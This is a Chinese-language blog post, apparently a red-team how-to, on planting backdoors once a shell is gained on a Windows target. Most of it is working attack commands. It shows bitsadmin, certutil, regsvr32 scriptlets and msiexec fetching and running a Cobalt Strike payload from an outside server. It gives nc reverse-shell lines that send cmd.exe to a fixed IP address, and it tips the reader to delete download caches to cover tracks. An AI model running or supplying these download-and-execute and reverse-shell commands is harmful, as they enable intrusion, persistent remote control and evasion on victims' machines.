Windows命令上马的几种姿势

发布于 2021-02-01  365 次阅读


0x01 序

拿到Windows目标shell以后怎么上后门呢?下面使用命令行模拟命令执行

第一种:下载后门文件到目标机器上,然后执行。

第二种:远程下载执行,执行过程中没有二进制文件落地。

现在大多使用的就是这第二种,文件落地也可以通过加壳、分离等方式进行免杀。

0x02 CobaltStrike 命令上线

使用CobaltStrike生成powershell payload

0x03 bitsadmin

bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。

注:需要管理员权限,普通用户没有权限使用,保存文件需要绝对路径。

bitsadmin /transfer n http://tools.imortal.icu/artifact.exe C:\shell.exe & start C:\shell.exe

使用nc反弹shell

bitsadmin /transfer n http://tools.imortal.icu/nc.exe C:\nc.exe & start C:\nc.exe -t -e cmd.exe 121.4.69.24 6667

0x04 certutil

certutil工具用于备份证书服务,xp---win10都支持。certutil下载文件会留下缓存,建议下载文件后对缓存进行删除。

注:缓存位置

%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
certutil -urlcache -split -f http://tools.imortal.icu/artifact.exe 7z.exe & start 7z.exe

注:certutil可以使用普通用户下运行,cs获得的权限根据命令用户的权限,普通用户不带红色闪电,使用管理员运行会带红色闪电

当然也可以使用nc反弹shell

certutil -urlcache -split -f http://tools.imortal.icu/nc.exe nc.exe & start nc.exe -t -e cmd.exe 121.4.69.24 6667

0x05 regsvr32

regsvr32命令用于注册COM组件,是Windows系统提供用来向系统注册控件或者卸载控件的命令。我们可以通过构造.sct文件,去下载执行我们的后门程序。

.sct文件代码弹出计算器
<?XML version="1.0"?>
<scriptlet>
<registration    progid="ShortJSRAT"    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >    
<script language="JScript">        
<![CDATA[            
ps  = "cmd.exe /c calc.exe";            
new ActiveXObject("WScript.Shell").Run(ps,0,true);        
]]>
</script>
</registration>
</scriptlet>
regsvr32.exe /u /n /s /i:http://tools.imortal.icu/calc.sct scrobj.dll
cs上线
<?XML version="1.0"?>
<scriptlet>
<registration    progid="ShortJSRAT"    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >    
<script language="JScript">        
<![CDATA[            
ps  = "cmd.exe /c certutil -urlcache -split -f http://tools.imortal.icu/artifact.exe 7z.exe & start 7z.exe";            
new ActiveXObject("WScript.Shell").Run(ps,0,true);        
]]>
</script>
</registration>
</scriptlet>
regsvr32.exe /u /n /s /i:http://tools.imortal.icu/cs.sct scrobj.dll
nc反弹shell
<?XML version="1.0"?>
<scriptlet>
<registration    progid="ShortJSRAT"    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >    
<script language="JScript">        
<![CDATA[            
ps  = "cmd.exe /c certutil -urlcache -split -f http://tools.imortal.icu/nc.exe nc.exe & start nc.exe -t -e cmd.exe 121.4.69.24 6667";            
new ActiveXObject("WScript.Shell").Run(ps,0,true);        
]]>
</script>
</registration>
</scriptlet>
regsvr32.exe /u /n /s /i:http://tools.imortal.icu/nc.sct scrobj.dll

0x06 msiexec

msiexec 支持远程下载功能,这里就演示打开计算器吧,累了...

#使用msf生成msi文件,上传到vps
msfvenom -p windows/exec CMD='calc.exe' -f msi > calc.msi
msiexec /q /i http://tools.imortal.icu/calc.msi

一切都是兴趣使然